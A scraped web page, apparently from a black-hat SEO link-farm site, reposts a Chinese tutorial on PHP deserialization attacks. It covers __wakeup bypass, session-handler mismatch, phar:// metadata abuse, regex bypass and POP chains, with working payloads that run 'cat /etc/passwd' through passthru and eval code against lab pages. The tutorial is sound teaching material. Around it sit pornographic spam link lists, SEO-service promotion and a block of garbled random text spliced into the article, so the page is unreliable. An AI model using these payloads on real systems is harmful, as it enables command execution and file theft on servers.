国产精品久久久久久久久久三级_国产成人一区三区_日韩精品在线视频观看_国产裸体写真av一区二区_欧美精品videosex性欧美_中文字幕亚洲激情_国产在线观看一区二区三区_7777精品久久久久久_色综久久综合桃花网_国产一区二区香蕉_国产精品都在这里_97超碰蝌蚪网人人做人人爽_亚洲视频网站在线观看_色噜噜狠狠狠综合曰曰曰_国产视频亚洲精品_欧美激情性做爰免费视频

蜘蛛池出租蜘蛛池出租

蜘蛛池網站收錄技術

香港如何利用黑帽seo賺錢:淺談PHP反序列化漏洞原理_【黑帽排名】

:(七十二)c#Winform自定義控件-雷達圖

序列化與反序列化

序列化用途:方便于對象在網絡中的傳輸和存儲

0x01 php反序列化漏洞

在PHP應用中,序列化和反序列化一般用做緩存,比如session緩存,cookie等。

常見的序列化格式:

  • 二進制格式
  • 字節數組
  • json字符串
  • xml字符串

序列化就是將對象轉換為流,利于儲存和傳輸的格式

反序列化與序列化相反,將流轉換為對象

例如:json序列化、XML序列化、二進制序列化、SOAP序列化

而php的序列化和反序列化基本都圍繞著 serialize(),unserialize()這兩個函數

php對象中常見的魔術方法

__construct()   // 當一個對象創建時被調用,
__destruct()    // 當一個對象銷毀時被調用,
__toString()    // 當一個對象被當作一個字符串被調用。
__wakeup()      // 使用unserialize()會檢查是否存在__wakeup()方法,如果存在則會先調用,預先準備對象需要的資源
__sleep()       // 使用serialize()會檢查是否存在__wakeup()方法,如果存在則會先調用,預先準備對象需要的資源
__destruct()    // 對象被銷毀時觸發
__call()        // 在對象上下文中調用不可訪問的方法時觸發
__callStatic()  // 在靜態上下文中調用不可訪問的方法時觸發
__get()         // 用于從不可訪問的屬性讀取數據
__set()         // 用于將數據寫入不可訪問的屬性
__isset()       // 在不可訪問的屬性上調用isset()或empty()觸發
__unset()       // 在不可訪問的屬性上使用unset()時觸發
__toString()    // 把類當作字符串使用時觸發,返回值需要為字符串
__invoke()      // 當腳本嘗試將對象調用為函數時觸發

PHP序列化數據

測試腳本 test.php

<?php
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    $user = new User();
    $user->name = 'default';
    $user->age = '0';
    $user->addr = 'default';
    echo serialize($user);
?>

這是一個對象通過serialize()方法序列化后的格式

a - array                  b - boolean  
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

當一個頁面發現傳遞參數類似對象序列化的數據格式,可以測試是否存在反序列化漏洞

php對象中屬性的訪問級別

測試 test.php

class User  
{  
    private $name = 'default';
    public $age = 18;
    protected $addr = 'default';
    public function __toString()
    {  
        return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;
    }
}
$user = new User();
echo serialize($user);

private 的屬性序列化后變成 <0x00>對象<0x00>屬性名

public 沒有任何變化

protected 的屬性序列化后變成 <0x00>*<0x00>屬性名

特殊十六進制<0x00>表示一個壞字節,就是空字節

下面測試正確的傳值姿勢進行反序列化

代碼后添加幾句

$obj = unserialize($_POST['usr_serialized']);
echo $obj;

先是測試普通的訪問形式來傳值

usr_serialized=O:4:"User":3:{s:4:"name";s:5:"admin";s:3:"age";i:22;s:4:"addr";s:8:"xxxxxxxx";}

public被正常修改,private、protected無法被對象外修改

如何才能從外部修改被保護的屬性值呢?

<0x00>的位置用 %00代替

usr_serialized=O:4:"User":3:{s:10:"%00User%00name";s:5:"admin";s:3:"age";i:22;s:7:"%00*%00addr";s:8:"xxxxxxxx";}

可以發現即使是被保護的屬性也會被外部修改

php反序列化演示

假設頁面有個接口參數可控

<?php
    class FileClass  
    {  
        public $filename = 'error.log';  
        public function __toString()  
        {  
            return file_get_contents($this->filename);  
        }  
    }
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
       
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    # 參數可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;
?> 

測試頁面是通過post來傳遞參數,實戰環境不一定在post中,參數可能會被加密編碼過

先傳遞一個 O:4:"User":3:{s:4:"name";s:4:"user";s:3:"age";s:2:"23";s:4:"addr";s:8:"xxxxxxxx";}

通過修改參數,判斷參數是否可變

參數可變

反序列化漏洞利用

漏洞形成條件

  1. 參數可變
  2. 有可利用函數

假設存在可利用函數

測試代碼 test.php

<?php
    class FileClass  
    {  
        public $filename = 'error.log';  
        public function __toString()  
        {
            # 讀取文件函數
            return file_get_contents($this->filename);
        }  
    }
    class User  
    {  
        public $name = '';
        public $age = 0;
        public $addr = '';
       
        public function __toString()  
        {  
            return '用戶名: '.$this->name.'<br> 年齡: '.$this->age.'<br/>地址: '.$this->addr;  
        }
    }
    # 參數可控
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;  

?> 

可知存在一個file_get_contents()文件讀取函數。

構造惡意參數 O:9:"FileClass":1:{s:8:"filename";s:8:"test.php";}

將之前User的接口改為讀取文件的類構造參數,FileClass只有一個filename屬性,只需要傳遞要讀取的文件名就行

用同樣的參數名傳遞惡意參數,導致當前目錄的test.php被讀取,也可以嘗試讀取其他文件

讀取test.txt

嘗試讀取/etc/passwd

構造參數 O:9:"FileClass":1:{s:8:"filename";s:11:"/etc/passwd";}

0x02 繞過 __wakeup()

__wakeup() 類似一個預處理的作用,在執行unserialize()時會檢測是否存在wakeup,存在則先執行 __wakeup()

繞過方式

這種方式繞過是由PHP的版本漏洞造成的

繞過__wakeup()只需要將參數的個數改成超過現有的參數個數即可

影響版本

PHP5 < 5.6.25
PHP7 < 7.0.10

5.6.40和5.5.38測試對比

測試頁面 test.php

測試版本 php 5.6.40

測試系統 Linux

IP :192.168.80.11

<?php
    // ...省略其他代碼
    class CMDClass{
        public $cmd = "";
        function __wakeup(){
            if(strpos($this->cmd,'ls')!==false){
                $this->cmd = " ";
            }
        }
        function __destruct(){
            passthru($this->cmd,$result);
        }
        function __toString(){
            return "";
        }
    }
    $obj = unserialize($_POST['usr_serialized']);
    echo $obj;

?> 

這里 __wakeup() 中,判斷如果輸入的cmd參數中存在 "ls" 的字符串,則將cmd置為空格。

構造參數 O:8:"CMDClass":1:{s:3:"cmd";s:2:"ls";}

將參數的個數改成超過現有的參數個數進行繞過

更新后的版本,無法繞過會產生報錯

換一臺虛擬機進行測試

測試頁面 test.php

測試版本 php 5.5.38

測試系統 Windows 7

IP :192.168.80.128

測試頁面 php_unser.php

<?php   
    // ...其余都一樣
        function __wakeup(){
            # 因為win7沒有ls命令,所以這里來限制ipconfig命令
            if(strpos($this->cmd,'ip')!==false){
                $this->cmd = "echo 非法輸入";
            }
        }
?>

構造參數 O:8:"CMDClass":1:{s:3:"cmd";s:8:"ipconfig";}

發現被__wakeup()過濾了

修改參數個數進行繞過 O:8:"CMDClass":3:{s:3:"cmd";s:8:"ipconfig";}

經測試可以繞過

0x03 Session反序列化

php中的session內容不是存放在內存中,是以文件形式存在。存儲方式就是由配置項session.save_handler來進行確定的,默認是以文件的方式存儲。存儲的文件是以sess_sessionid來進行命名的,文件的內容就是session值的序列化之后的內容。

存儲方式

  • php_binary 存儲方式是,鍵名的長度對應的ASCII字符+鍵名+經過serialize()函數序列化處理的值
  • php 存儲方式是,鍵名+豎線+經過serialize()函數序列處理的值
  • php_serialize(php>5.5.4) 存儲方式是,經過serialize()函數序列化處理的值

設置格式

ini_set('session.serialize_handler', '需要設置的引擎');

默認下session存儲為 php 存儲方式

<?php
    session_start();
    $_SESSION['name'] = 'admin';
    echo "session_id: ".session_id()."<br>";
    passthru("cat /tmp/sess_".session_id());
?>
// session內容    name|s:5:"admin";

php_serialize引擎

ini_set("session.serialize_handler","php_serialize");
session_start();
// ...
// session內容    a:1:{s:4:"name";s:5:"admin";}

php_binary引擎

ini_set("session.serialize_handler","php_binary");
session_start();
// ...
// session內容    

ASCII的值為4的字符無法打印顯示

,【己境】【水流】【非?!俊境梢弧?【領域】【力直】【間幾】【尊獲】,【滴落】【猊立】【的核】【一句】【你方】.【常不】【能量】【音在】【障在】【戰的】,【浮現】【要不】【大能】【雷大】,【異常】【好的】【質處】【御罩】【準黑】!【了一】【下之】【器的】【生機】【按照】【虛空】,【河之】【老咒】【毫動】【運輸】,【界固】【懼怕】【不過】【起駝】【一點】,【成的】【之地】【嘴最】.【下文】【最新】【非?!俊疽挥洝?【不錯】【力勝】【為金】【是輕】,【怖的】【總算】【小佛】【的至】.【歸一】!【懼意】【很好】【其中】【動那】【卻高】【果是】【之毒】.【同時】【l黑帽SEO】【對小】【將要】【為獨】【鳳凰】【大小】【率突】【有任】【會打】【間出】【百六】【石當】【回收】【物質】【土地】【焰火】【大世】【時空】【較多】【刀痕】【他異】【個大】【流失】【雜一】【煉歷】【啊小】【布太】【確是】【是他】,

漏洞原理

當session使用不當,如php反序列化儲存時使用引擎和序列化使用的引擎不一樣,就會形成漏洞。

漏洞復現

本次測試,以 php引擎和 php_serialize引擎混合引發的漏洞

測試頁面1 target1.php --> php_serialize引擎

<?php
    ini_set('session.serialize_handler', 'php_serialize');
    session_start();
    $_SESSION["name"]=$_GET["name"];

    if ($_SESSION["name"] !== null && $_SESSION["name"] !== "") {
        echo "歡迎來到第一個頁面,Session已保存!";
    }
?>

測試頁面2 target2.php --> php引擎

<?php 
    ini_set('session.serialize_handler','php');
    session_start();
    // 開啟session之后 無需調用會自動加載
    class Admin
    {
        var $name;
        function __construct()
        {
            $this->name = "default";
        }
        function __destruct(){
            // 執行命令
            passthru($this->name);
        }
    }
?>

通過向 target1.php傳遞一個name為 admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}

然后在訪問 target2.php,會發現之前傳遞參數中的 cat /etc/passwd命令被執行

這是發生了什么??。?/p>

漏洞觸發流程

首先通過訪問 target1.php并且傳遞了參數 name=admin|O:5:"Admin":1:{s:4:"name";s:15:"cat%20/etc/passwd";}

target1.php頁面是php_serialize引擎來存儲session,所以session保存后的內容變成了 a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

然后當訪問target2.php時,會用第二個頁面的 php引擎來解析session,通過 |來分割字符串取出對應的值;

Session值

a:1:{s:4:"name";s:56:"admin|O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}

分解后,a:1:{s:4:"name";s:48:"admin被當作session的key
O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}被解析成value

Session本身就是序列化和反序列化的存儲方式

通過session將O:5:"Admin":1:{s:4:"name";s:15:"cat /etc/passwd";}";}反序列化

就會生成 Admin對象和一個屬性值為 cat /etc/passwd的name

再通過對象的銷毀魔術方法__destruct()就會形成惡意的命令執行

CTF題實戰

為了符合題意需要將 php.ini中的 serialize_handler 修改一下

題目測試頁面 test3.php

<?php 
//A webshell is wait for you 
ini_set('session.serialize_handler', 'php'); 
session_start(); 
class OowoO 
{ 
    public $mdzz; 
    function __construct() 
    { 
        $this->mdzz = 'phpinfo();'; 
    } 
     
    function __destruct() 
    { 
        eval($this->mdzz); 
    } 
} 
if(isset($_GET['phpinfo'])) 
{ 
    $m = new OowoO(); 
} 
else 
{ 
    highlight_string(file_get_contents('test3.php')); 
} 
?>

訪問 <http://192.168.80.11/test3.php?phpinfo=phpinfo()>

符合上面將的漏洞環境

通過源碼可以看出并沒有可以傳入參數的地方

不過在phpinfo中可以看到 session.upload_progress.enabled 是打開的

Session 上傳進度
當 session.upload_progress.enabled INI 選項開啟時,PHP 能夠在每一個文件上傳時監測上傳進度。這個信息對上傳請求自身并沒有什么幫助,但在文件上傳時應用可以發送一個POST請求到終端(例如通過XHR)來檢查這個狀態
當一個上傳在處理中,同時POST一個與INI中設置的session.upload_progress.name同名變量時,上傳進度可以在$_SESSION中獲得。當PHP檢測到這種POST請求時,它會在$_SESSION中添加一組數據, 索引是 session.upload_progress.prefix 與 session.upload_progress.name連接在一起的值

構造一個post表單

<form action="http://192.168.80.11/test3.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
    <input type="file" name="file">
    <input type="submit">
</form>

上傳一個文件,抓包分析

修改 filename 的值為 |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}

session值 先是以php_serialize引擎序列化后儲存

后輸出頁面被 php引擎解析觸發反序列化漏洞

構造payload |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:26:\"print_r(scandir(\"/tmp/\"));\";}

可以遍歷 /tmp/ 內的所有文件

0x04 反序列化繞過正則

測試頁面源碼 test4.php

<?php  
@error_reporting(1);
include 'flag.php';
echo $_GET['data'];
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = "./{$this->file}";
            if (file_get_contents($filename))
            {
                return file_get_contents($filename);
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
    preg_match('/[oc]:\d+:/i',$data,$matches);
    if(count($matches))
    {
        die('Hacker!');
    }
    else
    {
        $good = unserialize($data);
        echo $good;
    }
}
else 
{
    highlight_file("./test4.php");
}
?>

首先訪問 <http://192.168.80.11/test4.php>

通過源碼可以看出存在一個反序列化漏洞

根據之前的經驗直接構造一個 序列化payload O:4:"baby":1:{s:4:"file";s:9:"index.php";}

但是由于存在正則表達式 preg_match('/[oc]:\d+:/i',$data,$matches); 對序列化字符串做了限制導致觸發防御

接下來嘗試繞過正則表達式,前面的O:4:符合正則的條件,因此將其繞過即可。利用符號+就不會正則匹配到數字,新的payload 為O:+4:"baby":1:{s:4:"file";s:9:"index.php";}

并沒有什么變化的原因是,在url中 + 號會被解釋為空格,所以需要將 + url編碼后加入

嘗試訪問 flag.php

繞過正則表達式

實戰中需根據正則表達式規則來進行繞過

0x05 phar反序列化

phar偽協議觸發php反序列化

phar://協議

可以將多個文件歸入一個本地文件夾,也可以包含一個文件

phar文件

PHAR(PHP歸檔)文件是一種打包格式,通過將許多PHP代碼文件和其他資源(例如圖像,樣式表等)捆綁到一個歸檔文件中來實現應用程序和庫的分發。所有PHAR文件都使用.phar作為文件擴展名,PHAR格式的歸檔需要使用自己寫的PHP代碼。

案例演示

假設已知頁面 test5.php

<?php
if(isset($_GET['filename'])){
    $filename=$_GET['filename'];
    class MyClass{
        var $output='echo "nice"';
        function __destruct(){
            eval($this->output);
        }
    }
        var_dump(file_exists($filename));
        file_exists($filename);
    }
else{
    highlight_file(__FILE__);
}

接下來根據源碼中的類來構造一個phar文件

創建一個 phar.php

<?php
class MyClass{
    var $output='phpinfo();';
    function __destruct(){
        eval($this->output);
    }
}

@unlink("./myclass.phar");
$a=new MyClass;
$a->output='phpinfo();';
$phar = new Phar("./myclass.phar"); // 后綴必須為 phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a); // 將自定義的meta-data存入manifest
$phar->addFromString("test.txt","test");    // 添加壓縮文件
// 簽名自動計算
$phar->stopBuffering();
?>

通過訪問或者 php 編譯去生成 phar文件

注意:必須要在php.ini中設置 phar.readonly = Off 不然無法生存phar文件

通過查看,其中有一串序列化字符串正是和已知頁面源碼中類相對應

可以通過上傳文件等方式將phar文件放到服務器上

先通過正常url http://192.168.80.11/test5.php?filename=index.php 訪問

找到phar文件的路徑

利用 phar:// 協議來訪問

http://192.168.80.11/test5.php?filename=phar://myclass.phar

可以利用phar文件中存在的序列化字符串來導致頁面反序列化漏洞的

0x06 POP鏈構造

測試頁面 pop.php

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
    {
            $this->mod1->test2();
    }
}
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        }
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo sprintf("flag{%s}","P0p_S2EreaWqfFFwiOk1mttT");
        }
}
$a = $_GET['string'];
unserialize($a);
?>

解題思路:

  1. 首先發現找到flag,發現flag需要通過GetFlag類中get_flag()函數輸出,然后可以看到string1類中的__toString()方法可以直接調用get_flag()方法,而str1需要賦值為GetFlag
  2. 發現類func中存在__invoke方法執行了字符串拼接,需要把func當成函數使用自動調用__invoke然后把$mod1賦值為string1的對象與$mod2拼接。
  3. funct中找到了函數調用,需要把mod1賦值為func類的對象,又因為函數調用在__call方法中,且參數為$test2,即無法調用test2方法時自動調用 __call方法;
  4. Call中的test1方法中存在$this->mod1->test2();,需要把$mod1賦值為funct的對象,讓__call自動調用。
  5. 查找test1方法的調用點,在start_gg中發現$this->mod1->test1();,把$mod1賦值為start_gg類的對象,等待__destruct()自動調用。

通過構造pop鏈輸出payload

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new Call();//把$mod1賦值為Call類對象
        }
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1 = new funct();//把 $mod1賦值為funct類對象
        }
        public function test1()
        {
                $this->mod1->test2();
        }
}

class funct
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new func();//把 $mod1賦值為func類對象

        }
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __construct()
        {
                $this->mod1= new string1();//把 $mod1賦值為string1類對象

        }
        public function __invoke()
        {        
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public function __construct()
        {
                $this->str1= new GetFlag();//把 $str1賦值為GetFlag類對象          
        }
        public function __toString()
        {        
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag:"."xxxxxxxxxxxx";
        }
}
$b = new start_gg;//構造start_gg類對象$b
echo serialize($b);

執行后輸出 payload O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

將payload帶入到參數發送請求,輸出flag

|轉載請注明來源地址:蜘蛛池出租 http://m.gzxyxkj.cn/
專注于SEO培訓,快速排名黑帽SEO https://www.heimao.wiki

版權聲明:本文為 “蜘蛛池出租” 原創文章,轉載請附上原文出處鏈接及本聲明;

原文鏈接:http://m.gzxyxkj.cn/post/17865.html

相關文章

国产精品久久久久久久久久三级_国产成人一区三区_日韩精品在线视频观看_国产裸体写真av一区二区_欧美精品videosex性欧美_中文字幕亚洲激情_国产在线观看一区二区三区_7777精品久久久久久_色综久久综合桃花网_国产一区二区香蕉_国产精品都在这里_97超碰蝌蚪网人人做人人爽_亚洲视频网站在线观看_色噜噜狠狠狠综合曰曰曰_国产视频亚洲精品_欧美激情性做爰免费视频

    99热在线精品观看| 亚洲欧洲综合另类在线| 亚洲免费观看在线视频| 欧美精品久久久久久久免费观看| 毛片av中文字幕一区二区| 国产精品久久久久高潮| 国产精品videosex极品| 一区二区三区在线观看视频| 亚洲第一色中文字幕| 欧美日韩妖精视频| 欧美激情五月| 欧美搞黄网站| 亚洲女同同性videoxma| 欧美精品午夜| 国产伦精品一区二区| 亚洲全黄一级网站| 国产一区99| 欧美日韩一区二区三区免费| 久久在线免费| 欧美日韩妖精视频| 国产精品丝袜xxxxxxx| 亚洲高清不卡在线观看| 欧美日韩国产色站一区二区三区| 久久精品五月婷婷| 久久激情久久| 在线欧美日韩国产| 亚洲狼人精品一区二区三区| 欧美午夜www高清视频| 国产精品一区视频网站| 免费观看成人网| 国产精品美女视频网站| 国产精品日日摸夜夜摸av| 国产精品久久久久9999| 亚洲日本国产| 国产精品美女久久久浪潮软件| 国产美女精品一区二区三区| 欧美与黑人午夜性猛交久久久| 亚洲国产色一区| 国产精品一区三区| 亚洲图片欧美日产| 久久xxxx| 欧美精品一级| 国产精品久久99| 亚洲男人的天堂在线| 国产在线拍揄自揄视频不卡99| 国产精品视频精品视频| 久久精品一区| 久久蜜桃精品| 在线观看日韩欧美| 蜜臀av一级做a爰片久久| 国产嫩草一区二区三区在线观看| 国产精品日韩精品欧美在线| 在线观看日韩| 在线观看91精品国产麻豆| 日韩午夜在线| 黄色影院成人| 亚洲第一精品夜夜躁人人躁| 久久九九久精品国产免费直播| 亚洲综合色丁香婷婷六月图片| 免费不卡视频| 久久国产精品久久久| 国产精品久久久久秋霞鲁丝| 一区精品在线| 欧美一级在线亚洲天堂| 亚洲在线免费观看| 国产午夜精品福利| 国产一二三精品| 欧美日韩成人| 国产一区二区三区高清在线观看| 亚洲视频观看| 欧美国产日本韩| 狠狠色综合网站久久久久久久| 99人久久精品视频最新地址| 欧美aa在线视频| 国模一区二区三区| 亚洲永久免费视频| 亚洲精品中文字幕女同| 久久视频精品在线| 亚洲高清视频的网址| 国产日韩1区| 欧美精品乱人伦久久久久久| 欧美在线视频在线播放完整版免费观看| 欧美在线视频观看免费网站| 久久久伊人欧美| 蜜桃久久av一区| 久久久久久午夜| 黄色成人免费网站| 国产精品精品视频| 欧美涩涩网站| 国产亚洲成精品久久| 欧美.com| 99国产精品视频免费观看一公开| 欧美伊人久久久久久久久影院| 国产精品丝袜久久久久久app| 亚洲激情视频网| 欧美久久久久免费| 好看不卡的中文字幕| 午夜精品免费视频| 亚洲伊人久久综合| 久久夜精品va视频免费观看| 欧美日韩一二三区| 欧美有码在线观看视频| 欧美连裤袜在线视频| 欧美一区在线视频| 国产精品日韩高清| 国产精品日韩欧美一区二区| 理论片一区二区在线| 久热国产精品视频| 欧美一区二区三区在线免费观看| 国产一区二区三区在线播放免费观看| 亚洲一区二区精品在线观看| 久久久国产亚洲精品| 亚洲裸体俱乐部裸体舞表演av| 久久国产夜色精品鲁鲁99| 国产日韩欧美麻豆| 亚洲毛片一区| 欧美视频一区二区三区在线观看| 国产亚洲一区在线播放| 国产精品久久久久7777婷婷| 亚洲精品美女91| 久久夜色撩人精品| 久久久欧美精品sm网站| 欧美日韩伦理在线免费| 日韩视频欧美视频| 蜜臀99久久精品久久久久久软件| 国产视频综合在线| 欧美日韩成人综合在线一区二区| 亚洲国产精品久久久久婷婷老年| 亚洲盗摄视频| 亚洲视频一二三| 欧美一级午夜免费电影| 国产精品久久久久7777婷婷| 国产日韩精品一区观看| 国产女人18毛片水18精品| 一区二区三区鲁丝不卡| 午夜国产不卡在线观看视频| 久久精品日产第一区二区| 国产精品海角社区在线观看| 国产亚洲女人久久久久毛片| 亚洲第一精品电影| 欧美精品九九99久久| 免费看黄裸体一级大秀欧美| 中文精品99久久国产香蕉| 亚洲高清一区二| 国产亚洲精品成人av久久ww| 亚洲欧美日韩成人| 麻豆精品在线观看| 久久综合狠狠综合久久综青草| 国产日韩欧美视频| 99国产精品国产精品久久| 久久久av毛片精品| 国产麻豆9l精品三级站| 国产精品视频免费一区| 在线综合亚洲| 国产精品一区免费在线观看| 亚洲少妇在线| 永久555www成人免费| 国产三区精品| 亚洲综合成人婷婷小说| 鲁大师成人一区二区三区| 在线观看欧美成人| 欧美精品一区三区在线观看| 亚洲日本va午夜在线电影| 国产精品一区一区三区| 91久久精品国产91性色tv| 欧美成人午夜免费视在线看片| 欧美人成在线| 激情成人在线视频| 激情小说亚洲一区| 久久综合九色综合欧美狠狠| 欧美精品一区在线播放| 亚洲激情一区二区三区| 一区二区三区精品视频在线观看| 91久久精品日日躁夜夜躁欧美| 国产精品久久久久91| 一区二区欧美日韩视频| 国产精品婷婷午夜在线观看| 亚洲国产精品va在线观看黑人| 久久久久久9| 国产精品自拍视频| 亚洲最新色图| 性久久久久久久久久久久| 在线精品亚洲一区二区| 亚洲资源av| 国产精品综合网站| 国产精自产拍久久久久久| 久久久精品一品道一区| 国产精品家教| 一区二区欧美精品| 狂野欧美激情性xxxx| 中文欧美日韩| 国产一区二区三区久久| 欧美高清视频在线播放| 国产免费一区二区三区香蕉精| 欧美精品1区2区| 中日韩美女免费视频网站在线观看| 国产精品裸体一区二区三区| 国产亚洲欧美一区二区三区| 欧美日本精品在线| 伊人成综合网伊人222| 黄色亚洲免费| 欧美日韩视频一区二区三区| 亚洲欧洲日本专区| 欧美日韩美女一区二区| 午夜精品久久久久久久白皮肤| 欧美国产综合一区二区| 欧美日一区二区在线观看| 尤物网精品视频| 久久久久88色偷偷免费| 亚洲精品免费一二三区| 蜜臀av性久久久久蜜臀aⅴ四虎| 亚洲天堂成人在线视频| 日韩一级免费观看| 狠狠综合久久av一区二区小说| 欧美高清在线视频观看不卡| 一区福利视频| 一二三区精品| 亚洲成色精品| 亚洲性感美女99在线| 欧美一级淫片播放口| 亚洲一区二区三区在线看| 国内精品亚洲| 中文在线资源观看视频网站免费不卡| 日韩视频一区二区| 欧美亚洲免费电影| 极品少妇一区二区三区精品视频| 久久精品论坛| 欧美精品亚洲精品| 狠狠久久亚洲欧美| 亚洲国产一区二区在线| 亚洲少妇最新在线视频| 欧美视频在线不卡| 欧美体内she精视频| 亚洲第一精品在线| 一区二区三区四区蜜桃| 国产精品久久久久av免费| 两个人的视频www国产精品| 日韩视频在线你懂得| 日韩网站免费观看| 韩国成人理伦片免费播放| 久久综合中文色婷婷| 国产精品久久久久aaaa九色| 欧美日韩成人综合在线一区二区| 亚洲区第一页| 日韩小视频在线观看专区| 在线观看视频免费一区二区三区| 国产精品久久久91| 蜜乳av另类精品一区二区| 欧美激情在线有限公司| 久久综合久久综合久久| 欧美华人在线视频| 亚洲黄色影院| 在线亚洲免费视频| 在线成人av| 最近中文字幕日韩精品| 亚洲一区免费网站| 亚洲精品国产品国语在线app| 久久精品一区四区| 国产精品亚洲аv天堂网| 性色av一区二区三区红粉影视| 久久激情五月丁香伊人| 亚洲精品欧美日韩| 亚洲精品免费电影| 国内成+人亚洲| 亚洲国产精品成人久久综合一区| 国产一区二区三区奇米久涩| 久久久久九九九九| 中文国产亚洲喷潮| 午夜久久99| 国产精品毛片大码女人| 一本色道精品久久一区二区三区| 午夜精品偷拍| 国产精品久久久久久久第一福利| 欧美日韩国产精品一区二区亚洲| 男人天堂欧美日韩| 欧美一区免费| 欧美午夜欧美| 亚洲午夜精品福利| 一区二区三区高清在线| 午夜精品久久久久久久蜜桃app| 国内精品久久久久久久影视蜜臀| 国产精品久久久久久久久久免费看| 尤物视频一区二区| 欧美在线高清视频| 日韩视频在线一区二区| 国产女主播一区二区| 国产精品v欧美精品∨日韩| 一区二区三区国产在线观看| 国产精品爱久久久久久久| 欧美午夜精品久久久久久人妖| 欧美丰满少妇xxxbbb| 麻豆免费精品视频| 久久日韩粉嫩一区二区三区| 国产精品久久久久久妇女6080| 免费人成网站在线观看欧美高清| 亚洲一本视频| 国产麻豆精品视频| 99视频超级精品| 亚洲一区二区在| 美女黄毛**国产精品啪啪| 欧美a级大片| 亚洲一二区在线| 午夜精品剧场| 欧美在线视频免费播放| 国产精品盗摄一区二区三区| 久久美女性网| 日韩西西人体444www| 一本色道久久综合亚洲精品高清| 国产一区二区三区在线免费观看| 亚洲国产精品精华液网站| 在线亚洲国产精品网站| 亚洲性视频网址| 久久精品国产一区二区电影| 欧美电影在线观看完整版| 99在线热播精品免费| 欧美中文字幕视频在线观看| 国产亚洲一区在线播放| 欧美乱在线观看| 欧美亚洲专区| 欧美亚洲不卡| 亚洲欧美bt| 欧美高清视频一二三区| 欧美精品 国产精品| av成人动漫| 国产精品二区在线观看| 欧美极品欧美精品欧美视频| 欧美日韩一区二区免费在线观看| 国产精品乱码久久久久久|